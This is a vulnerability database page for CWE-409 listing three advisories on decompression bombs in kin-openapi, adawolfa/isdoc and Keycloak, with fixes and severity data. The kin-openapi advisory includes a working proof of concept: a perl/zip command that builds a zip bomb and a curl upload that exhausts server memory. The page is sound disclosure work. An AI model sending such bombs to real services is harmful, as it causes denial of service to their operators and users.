Common Weakness Enumeration
CWE-409
AllowedImproper Handling of Highly Compressed Data (Data Amplification)
Abstraction: Base · Status: Incomplete
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
163 vulnerabilities reference this CWE, most recent first.
GHSA-WQ9G-9VFC-CFQ9
Vulnerability from github – Published: 2025-03-19 18:12 – Updated: 2025-05-15 16:44
VLAI
Summary
Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
Details
Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
Details
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.131.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-30153"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-19T18:12:53Z",
"nvd_published_at": "2025-03-19T16:15:33Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.\n\n### Details\n\nThe root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).\n\n### PoC\nTo reproduce the vulnerability, you can use the following OpenAPI schema:\n```yaml\nopenapi: 3.0.0\ninfo:\n title: \u0027Validator\u0027\n version: 0.0.1\npaths:\n /:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n required:\n - file\n properties:\n file:\n type: string\n format: binary\n responses:\n \u0027200\u0027:\n description: Created\n```\nAnd this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\tlegacyrouter \"github.com/getkin/kin-openapi/routers/legacy\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n)\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tloader := openapi3.NewLoader()\n\n\tdoc, err := loader.LoadFromFile(\"schema.yaml\")\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to load OpenAPI document\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err := doc.Validate(r.Context()); err != nil {\n\t\thttp.Error(w, \"Invalid OpenAPI document\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\trouter, err := legacyrouter.NewRouter(doc)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to create router\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\troute, pathParams, err := router.FindRoute(r)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to find route\", http.StatusNotFound)\n\t\treturn\n\t}\n\n\tinput := \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r,\n\t\tQueryParams: r.URL.Query(),\n\t\tRoute: route,\n\t\tPathParams: pathParams,\n\t}\n\n\tif err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"Request validation failed: %v\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"request ok !\"))\n}\n\nfunc main() {\n\thttp.HandleFunc(\"/\", handler)\n\tlog.Fatal(http.ListenAndServe(\":8080\", nil))\n\n}\n```\n\nWe also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:\n```shell\nperl -e \u0027print \"0\" x 5000000000\u0027 \u003e /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt\n```\n\nRun the PoC provided, and upload the zip bomb with `curl localhost:8080/ -F file=\"@/tmp/bomb.zip;type=application/zip\" -v`.\n\nObserve the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) \n\n### Impact\n\nAn attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.\nIt seems to only be exploitable if the OpenAPI schema allows for multipart upload.\n\n### Remediation\n\nI see at least 2 potential fixes/improvements:\n - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)\n - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it\u0027s reached (probably with a small default value and allow the users to configure it through the input options ?)",
"id": "GHSA-wq9g-9vfc-cfq9",
"modified": "2025-05-15T16:44:40Z",
"published": "2025-03-19T18:12:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-wq9g-9vfc-cfq9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30153"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/pull/1059"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/67f0b233ffc01332f7d993f79490fbea5f4455f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter"
}
GHSA-XG43-5579-QW6V
Vulnerability from github – Published: 2026-07-15 23:30 – Updated: 2026-07-15 23:30
VLAI
Summary
adawolfa/isdoc: Uncontrolled resource consumption (decompression bomb) when reading untrusted ISDOCX or PDF files
Details
Impact
adawolfa/isdoc reads ISDOC invoices from ISDOCX (ZIP) archives and from PDF files with embedded ISDOC documents and supplements. Affected versions inflate ZIP entries and read embedded files without validating their uncompressed size, so a small crafted file can amplify into gigabytes:
- ISDOCX decompression bomb —
getFromName()inflates the ISDOC document and binary supplements with no size cap. saveTo()disk-fill — the supplement copy loop writes inflated bytes to disk with no running byte budget, so a bomb can exhaust disk even if the central-directory size is under-reported.- PDF embedded files — an embedded file whose declared
Lengthis enormous is read and digested with no upper bound.
Exploitation requires the application to parse an attacker-supplied .isdocx or .pdf (the typical use is generating files or parsing files from trusted vendors, so a user must be induced to process a malicious file). When that happens the process can be driven to exhaust memory or disk, causing denial of service. There is no confidentiality or integrity impact — availability only.
Patches
Fixed in 1.4.3, 1.5.1, 1.6.1 and 2.0.0. The readers now:
- read the uncompressed size from the ZIP central directory (
statName()) and reject entries over a cap before inflating — 256 KB (DocumentSizeLimit) for the ISDOC document, 32 MB (SizeLimit) for supplements; - enforce a running byte budget in
saveTo()and unlink the partial file on overflow; - reject PDF-embedded files whose declared
Lengthexceeds 256 MB before reading or digesting them.
New exceptions ReaderException::zipEntryTooLarge(), SupplementException::supplementTooLarge() and ReaderException::pdfSupplementTooLarge() surface the rejection.
Unsupported versions
Versions before 1.4.0 (the 1.0–1.3 lines) are also affected and will not receive a fix, because they target end-of-life PHP. Users on those lines should upgrade to a maintained release — 1.4.3, 1.5.1, 1.6.1, or 2.0.0.
Workarounds
No code-level workaround exists in affected versions; upgrading is the fix. As mitigation, restrict parsing to trusted input, or enforce an external size / decompression limit (validate ZIP entry sizes, cap process memory) before handing files to the library.
Resources
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "adawolfa/isdoc"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "adawolfa/isdoc"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "adawolfa/isdoc"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.4.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.4.0"
},
"package": {
"ecosystem": "Packagist",
"name": "adawolfa/isdoc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T23:30:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\n`adawolfa/isdoc` reads ISDOC invoices from ISDOCX (ZIP) archives and from PDF files with embedded ISDOC documents and supplements. Affected versions inflate ZIP entries and read embedded files **without validating their uncompressed size**, so a small crafted file can amplify into gigabytes:\n\n- **ISDOCX decompression bomb** \u2014 `getFromName()` inflates the ISDOC document and binary supplements with no size cap.\n- **`saveTo()` disk-fill** \u2014 the supplement copy loop writes inflated bytes to disk with no running byte budget, so a bomb can exhaust disk even if the central-directory size is under-reported.\n- **PDF embedded files** \u2014 an embedded file whose declared `Length` is enormous is read and digested with no upper bound.\n\nExploitation requires the application to parse an attacker-supplied `.isdocx` or `.pdf` (the typical use is generating files or parsing files from trusted vendors, so a user must be induced to process a malicious file). When that happens the process can be driven to exhaust memory or disk, causing denial of service. There is **no confidentiality or integrity impact** \u2014 availability only.\n\n### Patches\n\nFixed in **1.4.3**, **1.5.1**, **1.6.1** and **2.0.0**. The readers now:\n\n- read the uncompressed size from the ZIP central directory (`statName()`) and reject entries over a cap **before inflating** \u2014 256 KB (`DocumentSizeLimit`) for the ISDOC document, 32 MB (`SizeLimit`) for supplements;\n- enforce a running byte budget in `saveTo()` and unlink the partial file on overflow;\n- reject PDF-embedded files whose declared `Length` exceeds 256 MB before reading or digesting them.\n\nNew exceptions `ReaderException::zipEntryTooLarge()`, `SupplementException::supplementTooLarge()` and `ReaderException::pdfSupplementTooLarge()` surface the rejection.\n\n### Unsupported versions\n\nVersions **before 1.4.0** (the 1.0\u20131.3 lines) are also affected and will **not** receive a fix, because they target end-of-life PHP. Users on those lines should upgrade to a maintained release \u2014 1.4.3, 1.5.1, 1.6.1, or 2.0.0.\n\n### Workarounds\n\nNo code-level workaround exists in affected versions; upgrading is the fix. As mitigation, restrict parsing to trusted input, or enforce an external size / decompression limit (validate ZIP entry sizes, cap process memory) before handing files to the library.\n\n### Resources\n\n- Decompression-bomb fix: commit [`935fb2a`](https://github.com/adawolfa/isdoc/commit/935fb2aa41ceddfcf43174a61a36ec620611a105) (backported, released as 1.4.3 / 1.5.1 / 1.6.1) and [`02a1012`](https://github.com/adawolfa/isdoc/commit/02a10123a3d5fd92950b8e4952959317c0a18952) (master, released as 2.0.0).\n- CWE-409 (Improper Handling of Highly Compressed Data), CWE-400 (Uncontrolled Resource Consumption).",
"id": "GHSA-xg43-5579-qw6v",
"modified": "2026-07-15T23:30:55Z",
"published": "2026-07-15T23:30:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adawolfa/isdoc/security/advisories/GHSA-xg43-5579-qw6v"
},
{
"type": "WEB",
"url": "https://github.com/adawolfa/isdoc/commit/02a10123a3d5fd92950b8e4952959317c0a18952"
},
{
"type": "WEB",
"url": "https://github.com/adawolfa/isdoc/commit/935fb2aa41ceddfcf43174a61a36ec620611a105"
},
{
"type": "PACKAGE",
"url": "https://github.com/adawolfa/isdoc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "adawolfa/isdoc: Uncontrolled resource consumption (decompression bomb) when reading untrusted ISDOCX or PDF files"
}
GHSA-XV6H-R36F-3GP5
Vulnerability from github – Published: 2026-03-18 06:31 – Updated: 2026-03-18 20:19
VLAI
Summary
Keycloak: Denial of Service due to excessive SAMLRequest decompression
Details
A flaw was found in Keycloak. An unauthenticated remote attacker can trigger an application level Denial of Service (DoS) by sending a highly compressed SAMLRequest through the SAML Redirect Binding. The server fails to enforce size limits during DEFLATE decompression, leading to an OutOfMemoryError (OOM) and subsequent process termination. This vulnerability allows an attacker to disrupt the availability of the service.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-saml-adapter-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-saml-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2575"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:19:33Z",
"nvd_published_at": "2026-03-18T04:17:16Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Keycloak. An unauthenticated remote attacker can trigger an application level Denial of Service (DoS) by sending a highly compressed SAMLRequest through the SAML Redirect Binding. The server fails to enforce size limits during DEFLATE decompression, leading to an OutOfMemoryError (OOM) and subsequent process termination. This vulnerability allows an attacker to disrupt the availability of the service.",
"id": "GHSA-xv6h-r36f-3gp5",
"modified": "2026-03-18T20:19:33Z",
"published": "2026-03-18T06:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2575"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/46372"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/4f90ef67f698dfb45df0d2f4981271a7c8b47f04"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3947"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:3948"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-2575"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2440149"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Keycloak: Denial of Service due to excessive SAMLRequest decompression"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.